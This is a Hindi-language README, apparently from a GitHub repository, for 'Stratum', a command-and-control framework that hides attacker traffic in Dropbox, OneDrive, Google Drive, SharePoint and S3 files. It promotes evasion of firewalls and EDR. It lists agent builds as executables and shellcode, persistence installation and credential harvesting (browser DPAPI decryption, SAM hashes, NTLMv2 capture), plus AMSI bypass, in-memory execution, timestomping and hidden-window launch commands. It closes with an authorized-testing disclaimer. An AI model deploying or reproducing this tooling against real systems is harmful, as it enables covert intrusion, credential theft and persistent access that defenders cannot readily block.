
क्लाउड-नेटिव C2 फ्रेमवर्क जो क्लाउड स्टोरेज को डेड-ड्रॉप संचार चैनल के रूप में उपयोग करता है
क्लाउड पर्सिस्टेंस फ्रेमवर्क · v3.0.1
एक फॉलबैक फुटहोल्ड जो ऐसे इंफ्रास्ट्रक्चर से होकर गुजरता है जिसे डिफेंडर ब्लॉक नहीं कर सकते।
आपका प्राथमिक C2 खामोश हो जाता है। डोमेन ब्लैकलिस्ट हो जाता है। बीकन फ्लैग हो जाता है। EDR प्रोसेस को मार देता है। आप बाहर हो गए।
आपको एक दूसरा चैनल चाहिए — एक ऐसा जो पहले स्थान पर कभी ब्लॉक होने वाला नहीं था।
क्या होगा अगर कमांड-एंड-कंट्रोल ट्रैफिक बिल्कुल एक कर्मचारी के Dropbox पर फाइलें सिंक करने जैसा दिखे?
यही Stratum है। कमांड और रिस्पॉन्स एक क्लाउड स्टोरेज फोल्डर के अंदर सामान्य फाइलों के रूप में यात्रा करते हैं। एजेंट कभी भी हमलावर के इंफ्रास्ट्रक्चर से कनेक्ट नहीं होता। एकमात्र दृश्यमान ट्रैफिक एक ऐसे प्रोवाइडर के लिए HTTPS है जिसे टारगेट का फ़ायरवॉल पहले से व्हाइटलिस्ट कर चुका है — क्योंकि Dropbox या OneDrive को ब्लॉक करने का मतलब है हर उस कर्मचारी को ब्लॉक करना जो इसे इस्तेमाल करता है।
कोई टीमसर्वर नहीं। कोई हमलावर-स्वामित्व वाला डोमेन नहीं। कोई संदिग्ध TLS सर्टिफिकेट नहीं। ब्लॉक करने के लिए कुछ भी नहीं।
OPERATOR CLOUD PROVIDER TARGET
──────── ───────────── ──────
/Machine1/
WebGUI ──HTTPS──► input.txt 🔒 ◄── poll ── agent
output.txt 🔒 ──► read ──┘
heartbeat.txt (encrypted beacon)
एजेंट एक कॉन्फ़िगर करने योग्य अंतराल (+ लॉग-नॉर्मल जिटर) पर जागता है, इनपुट फाइल पढ़ता है, निष्पादित करता है, रिस्पॉन्स को एन्क्रिप्ट करता है, अपलोड करता है, और सो जाता है। सब कुछ RSA-4096-OAEP + AES-256-GCM के साथ एंड-टू-एंड एन्क्रिप्टेड है। ऑपरेटर का IP टारगेट की ओर किसी भी नेटवर्क लॉग में कभी नहीं दिखता।
| प्रोवाइडर | नोट्स | |
|---|---|---|
| Dropbox | OAuth2 रिफ्रेश टोकन · बिजनेस और पर्सनल अकाउंट | |
| Microsoft OneDrive | Microsoft Graph API · पर्सनल और M365 अकाउंट | |
| Google Drive | Google Drive API v3 · OAuth2 सर्विस फ्लो | |
| SharePoint Online | Microsoft Graph API · M365 टेनेंट साइट्स | |
| S3-संगत | AWS S3 · DigitalOcean Spaces · Backblaze B2 · कोई भी S3 एंडपॉइंट |
सभी पांच एक ही वायर फॉर्मेट, एक ही RSA कीपेयर, और एक ही ऑपरेटर सेशन साझा करते हैं। एजेंट को छुए बिना मिनटों में एंगेजमेंट के बीच प्रोवाइडर बदलें। कोई अन्य ओपन-सोर्स फ्रेमवर्क यह आउट ऑफ द बॉक्स शिप नहीं करता।
एक SOC जो C2 को रोकना चाहता है वह टीमसर्वर डोमेन या फ्रंटेड इंफ्रास्ट्रक्चर को ब्लॉक करता है। एक SOC जो Stratum को रोकना चाहता है उसे Dropbox, OneDrive, Google Drive, SharePoint, और S3 को एक साथ ब्लॉक करना होगा। यह फ़ायरवॉल नियम नहीं है — यह एक व्यावसायिक निर्णय है जो कोई भी एंटरप्राइज़ नहीं लेने वाला। डेड-ड्रॉप आर्किटेक्चर डिटेक्शन से बचने की कोशिश नहीं करता। यह ऐसे इंफ्रास्ट्रक्चर पर काम करता है जिस पर डिफेंडर ने पहले ही स्थायी रूप से भरोसा करने का फैसला किया है।
| फॉर्मेट | प्लेटफॉर्म | डिपेंडेंसीज़ |
|---|---|---|
.exe / .dll | Windows | कोई नहीं — Rust-कंपाइल्ड PE (MSVC-ABI), कोई इंटरप्रेटर नहीं, प्रोसेस ट्री में कोई PowerShell नहीं |
.elf | Linux | कोई नहीं — Rust-कंपाइल्ड musl-static, किसी भी x86_64 Linux पर चलता है |
.bin | Linux / Windows | x64 PIC शेलकोड — किसी भी बाहरी लोडर या इंजेक्टर में डालें |
विज़ार्ड इन सभी को जनरेट करता है। आप प्रॉम्प्ट का जवाब देते हैं; यह कंपाइल, एन्क्रिप्ट और पैकेज करता है। कोई कंपाइलर फ्लैग नहीं, कोई env var नहीं, कोई मैनुअल की मैनेजमेंट नहीं।
| मोड | यह कैसे काम करता है | किसके लिए सर्वश्रेष्ठ |
|---|---|---|
| staged-enc | टारगेट पर न्यूनतम स्टब। पहले रन पर: क्लाउड से वन-टाइम बूटस्ट्रैप की फेच करता है, पूरे एजेंट को मेमोरी में डिक्रिप्ट करता है, क्लाउड से की डिलीट करता है। पेलोड कभी भी क्लियरटेक्स्ट में डिस्क को नहीं छूता। | मानक एंगेजमेंट — सबसे छोटा प्रारंभिक आर्टिफैक्ट, डिलीवरी पर की नष्ट हो जाती है |
| stageless-enc | पूरा एजेंट एक ही डिलीवरी फाइल में एम्बेडेड, स्टब-बेक्ड की के साथ एन्क्रिप्टेड। डिलीवरी के बाद क्लाउड की फेच की आवश्यकता नहीं। | एयर-गैप्ड या प्रतिबंधित नेटवर्क — एक ही सेल्फ-कंटेन्ड फाइल |
| stageless-plain | एजेंट क्लियरटेक्स्ट में। कमांड और रिस्पॉन्स ट्रांज़िट में पूरी तरह एन्क्रिप्टेड रहते हैं। | लैब और नियंत्रित वातावरण |
सभी मोड एक ही पोस्ट-एक्ज़ीक्यूशन व्यवहार साझा करते हैं: स्टब एक HW-फिंगरप्रिंटेड एन्क्रिप्टेड ब्लॉब को स्थानीय रूप से कैश करता है ताकि बाद के रन क्लाउड को छुए बिना डिस्क से लोड हों।
एक भी रजिस्ट्री की या cron एंट्री को छूने से पहले, /persist probe चलाएं। एजेंट वर्तमान प्रिविलेज स्तर पर हर उपलब्ध तकनीक की जांच करता है और एक व्यवहार्यता रिपोर्ट लौटाता है। गैर-विनाशकारी — कोई आर्टिफैक्ट पीछे नहीं छोड़ता।
/persist probe
✓ schtask-logon — feasible (SYSTEM)
✓ registry-run — feasible
✗ schtask-boot — requires elevation
✓ startup-folder — feasible
...
जो काम करता है उसे चुनें, इंस्टॉल करें, काम खत्म होने पर इसे साफ-साफ हटा दें। WebGUI प्रति सेशन हर इंस्टॉल की गई तकनीक को ट्रैक करता है। /kill एक कमांड में सब कुछ तोड़ देता है — पर्सिस्टेंस, बाइनरी, क्लाउड आर्टिफैक्ट।
किल डेट, मेंटेनेंस विंडो, लॉग-नॉर्मल जिटर, वन-टाइम बूटस्ट्रैप की — सब कुछ एक बार विज़ार्ड में कॉन्फ़िगर किया जाता है और एजेंट में स्थायी रूप से कंपाइल किया जाता है। एंगेजमेंट के दौरान प्रबंधित करने के लिए कुछ नहीं, अंत में साफ करने के लिए कुछ भूलने के लिए कुछ नहीं।
Stratum Cobalt Strike, Sliver, या Havoc का प्रतिस्थापन नहीं है। यह उनके नीचे की परत है।
Day 1: अपने प्राथमिक C2 के साथ Stratum डिप्लॉय करें
Day 4: प्राथमिक बीकन फ्लैग हो जाता है, प्रोसेस मार दिया जाता है
Day 4: Stratum सेशन खोलें, आकलन करें कि क्या हुआ
Day 4: Stratum शेल के माध्यम से प्राथमिक C2 को फिर से पेश करें
Day 5: पूर्ण एक्सेस पर वापस
आपका प्राथमिक C2 पोस्ट-एक्सप्लॉइटेशन संभालता है। Stratum सर्वाइवल संभालता है। यह वह चैनल है जिसका कभी पता नहीं चलने वाला था क्योंकि यह कभी छिपने की कोशिश नहीं कर रहा था — यह सिर्फ Dropbox जैसा दिखता है।
यह वही प्रतिमान है जो 2025–2026 में दस्तावेजित खतरे वाले अभिनेताओं द्वारा जंगल में उपयोग किया गया है: TukTuk (Dropbox + Arweave डेड-ड्रॉप), NarwhalRAT/APT37 (pCloud), COBALT MIRAGE/Drokbk (GitHub)। Stratum उसी आर्किटेक्चर को रेड टीम की ओर एक उचित फ्रेमवर्क के रूप में लाता है, न कि एक वन-ऑफ इम्प्लांट के रूप में।
git clone https://github.com/daniomass/stratum-c2.git
cd stratum-c2
./install.sh --server
कंपाइल किए गए एजेंट (.exe, .elf, .dll, .bin, नेटिव Rust) Stratum की एक मुख्य विशेषता हैं। विज़ार्ड उपलब्ध टारगेट्स का पता लगाता है और उपयोग करता है, केवल उसे छोड़ देता है जिसे वह बना नहीं सकता।
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source "$HOME/.cargo/env"
# Windows PE / DLL
rustup target add x86_64-pc-windows-gnu && sudo apt install mingw-w64
# Linux musl-static ELF
rustup target add x86_64-unknown-linux-musl && sudo apt install musl-tools
# Flat x64 shellcode
rustup target add x86_64-unknown-none && sudo apt install lld
python3 stratum-server.py
https://<host>:<port> खोलें, लॉग इन करें, Deploy पर क्लिक करें। विज़ार्ड आपको प्रोवाइडर क्रेडेंशियल्स, एजेंट फॉर्मेट, डिप्लॉय मोड, पर्सिस्टेंस आइडेंटिटी, और गार्डरेल (किल डेट, विंडो, जिटर) के माध्यम से ले जाता है। अंत में यह आपको रेडी-टू-रन आर्टिफैक्ट देता है। पूर्ण सेटअप विवरण विकी में (docs/wiki.html)।
# Linux — बैकग्राउंड, कोई टर्मिनल नहीं
chmod +x stub.elf && nohup ./stub.elf &>/dev/null &
# Windows — छिपी हुई विंडो (cmd या PowerShell)
start /b stub.exe
पहले बीकन पर सेशन WebGUI में स्वचालित रूप से दिखाई देता है।
मल्टी-ऑपरेटर, रीयल-टाइम, ब्राउज़र-आधारित। हर ऑपरेटर WebSocket के माध्यम से एक ही सेशन लाइव देखता है।
/sysinfo — पूर्ण सिस्टम प्रोफाइल: हार्डवेयर, OS, नेटवर्क, AV/EDR, कंटेनर
/persist probe — गैर-विनाशकारी व्यवहार्यता जांच, सभी तकनीकें
/persist install <id>— पर्सिस्टेंस तकनीक इंस्टॉल करें
/persist remove <id> — विशिष्ट तकनीक हटाएं
/creds harvest — क्रेडेंशियल्स एकत्र करें (Firefox/क्लाउड इनलाइन पार्स किए गए, बाकी स्टेज किए गए)
/creds harvest decrypt — + CryptUnprotectData के माध्यम से Chrome/Edge/DPAPI डिक्रिप्ट करें (OPSEC↑)
/creds coerce — NTLMv2 कैप्चर करने के लिए स्थानीय ऑथ फोर्स करें / SSH एजेंट एन्यूमरेट करें
/creds sam — इन-मेमोरी SAM हैश निष्कर्षण (Windows, SYSTEM या एलिवेटेड Admin की आवश्यकता है)
/creds listen start [proto:port] — क्रेडेंशियल लिसनर शुरू करें (smb:445, http:80, http-ntlm:80)
/creds listen stop [proto:port] — विशिष्ट या सभी लिसनर बंद करें
/creds listen dump — कैप्चर किए गए NTLMv2 + Basic क्रेड्स प्राप्त करें (Credentials टैब को स्वतः पॉप्युलेट करता है)
/bof <file.o> [args] — Beacon Object File (COFF) को मेमोरी में निष्पादित करें (Windows, केवल Rust)
/assembly <file.exe> [args] — CLR होस्टिंग के माध्यम से .NET असेंबली निष्पादित करें (Windows, केवल Rust)
/assembly-amsibypass <file.exe> [args] — .NET असेंबली + AMSI बायपास (Windows, केवल Rust)
/memexec <file> [args] — PE/ELF को मेमोरी में निष्पादित करें (Win: रिफ्लेक्टिव, Linux: memfd — केवल Rust)
/script <file> [interpreter] — stdin पाइप के माध्यम से फाइललेस स्क्रिप्ट निष्पादित करें (Win+Linux, केवल Rust)
/script-amsibypass <file> [interp] — फाइललेस स्क्रिप्ट + AMSI बायपास (केवल Win PS, केवल Rust)
/kill — सभी पर्सिस्टेंस हटाएं + आर्टिफैक्ट मिटाएं + एजेंट समाप्त करें
/download <path> — टारगेट से फाइल खींचें
/upload <path> — टारगेट पर फाइल पुश करें
/sleep <s> — बीकन अंतराल लाइव बदलें
/jitter <pct> — जिटर प्रतिशत लाइव बदलें
/timestomp <args> — टारगेट पर फाइल टाइमस्टैम्प सेट करें
/exit — एजेंट प्रोसेस बंद करें (पर्सिस्टेंस बच जाता है)
प्रत्येक सेशन में समर्पित टैब हैं: Shell · History · Artifacts · Persist · Credentials · Control · Info। वैश्विक दृश्य: Sessions · Deploy · Archives · Tradecraft · Settings।
| मोड | विवरण |
|---|---|
local | server.yml में उपयोगकर्ता नाम/पासवर्ड। कोई भूमिका नहीं — सभी ऑपरेटर समान। |
oidc-manual | बाहरी OIDC प्रोवाइडर (Keycloak, Azure AD, Okta)। व्हाइटलिस्ट-आधारित एक्सेस। |
oidc-auto | कोई भी प्रमाणित पहचान एक्सेस प्राप्त करती है। रद्दीकरण के लिए ब्लॉकलिस्ट। |
| परत | एल्गोरिदम |
|---|---|
| की एक्सचेंज | RSA-4096-OAEP-SHA-256 (प्रति-डिप्लॉयमेंट कीपेयर) |
| कमांड एन्क्रिप्शन | AES-256-GCM (सेशन की, प्री-शेयर्ड) |
| हार्टबीट एन्क्रिप्शन | RSA-4096-OAEP-SHA-256 + AES-256-GCM |
| रिस्पॉन्स साइनिंग | RSA-PSS-SHA-256 |
| ब्लॉब की व्युत्पत्ति | PBKDF2-HMAC-SHA-256 · 210,000 पुनरावृत्तियाँ |
| बूटस्ट्रैप की | वन-टाइम उपयोग — पहले एजेंट रन पर क्लाउड से हटा दी जाती है |
| बाइनरी में सेशन की | .rodata में XOR-अस्पष्ट — कच्चा हेक्स कभी भी शाब्दिक रूप से नहीं दिखता |
| स्थानीय ब्लॉब एन्क्रिप्शन | AES-256-GCM — HW-फिंगरप्रिंटेड ब्लॉब डिस्क पर कैश किया गया |
एक प्रोवाइडर जोड़ना ~360 लाइनें है: HTTP ट्रांसपोर्ट (upload / download / delete / टोकन रिफ्रेश) + डिप्लॉयमेंट विज़ार्ड। एन्क्रिप्शन, हार्टबीट, कमांड डिस्पैच, पर्सिस्टेंस, टाइमस्टॉम्पिंग, और आर्टिफैक्ट ट्रैकिंग कोर से मुफ्त में मिलते हैं। संदर्भ कार्यान्वयन: providers/dropbox/।
पूर्ण तकनीकी दस्तावेज़ीकरण — क्रिप्टोग्राफ़िक प्रोटोकॉल, वायर फॉर्मेट, हार्टबीट इंटर्नल्स, ट्रांसपोर्ट इंटरफ़ेस, पर्सिस्टेंस तकनीकें, OPSEC नोट्स — docs/wiki.html में है। इसे ब्राउज़र में स्थानीय रूप से खोलें।
सभी स्क्रीन के UI मॉकअप (सेशन लिस्ट, शेल, पर्सिस्ट टैब, इंफो टैब, डिप्लॉय विज़ार्ड, चैट) docs/mockups.html में हैं — हर दृश्य ब्राउज़ करने के लिए ब्राउज़र में स्थानीय रूप से खोलें।
Stratum केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है।
यह सॉफ्टवेयर रक्षात्मक सुरक्षा अनुसंधान, पेनेट्रेशन टेस्टिंग प्रशिक्षण, और अधिकृत सुरक्षा आकलन के लिए प्रदान किया गया है। उपयोगकर्ता यह सुनिश्चित करने के लिए पूरी तरह जिम्मेदार हैं कि उनका उपयोग सभी लागू कानूनों और विनियमों का अनुपालन करता है।
क्लाउड सेवाओं के लिए: यदि परीक्षण Dropbox, OneDrive, Google Drive, S3, या SharePoint पर होस्ट किए गए टारगेट को लक्षित करता है, तो आपके पास सेवा प्रदाता और संसाधन स्वामी दोनों से स्पष्ट प्राधिकरण होना चाहिए। क्लाउड सेवाओं तक अनधिकृत पहुंच अवैध है।
कंप्यूटर सिस्टम तक अनधिकृत पहुंच एक आपराधिक अपराध है और इसके परिणामस्वरूप गंभीर सिविल और आपराधिक दंड हो सकते हैं, जिसमें जुर्माना और कारावास शामिल हैं।
इस सॉफ्टवेयर का उपयोग करके, आप स्वीकार करते हैं कि आपने यह अस्वीकरण पढ़ लिया है और Stratum का उपयोग केवल उचित प्राधिकरण के साथ कानूनी उद्देश्यों के लिए करने के लिए सहमत हैं।
पूर्ण रिलीज़ इतिहास के लिए CHANGELOG.md देखें।
उन ऑपरेटरों के लिए बनाया गया है जिन्हें ऐसे इंफ्रास्ट्रक्चर की आवश्यकता है जो वहां नहीं है।
अगर Stratum उपयोगी रहा है, तो ⭐ छोड़ने पर विचार करें — यह दूसरों को इसे खोजने में मदद करता है।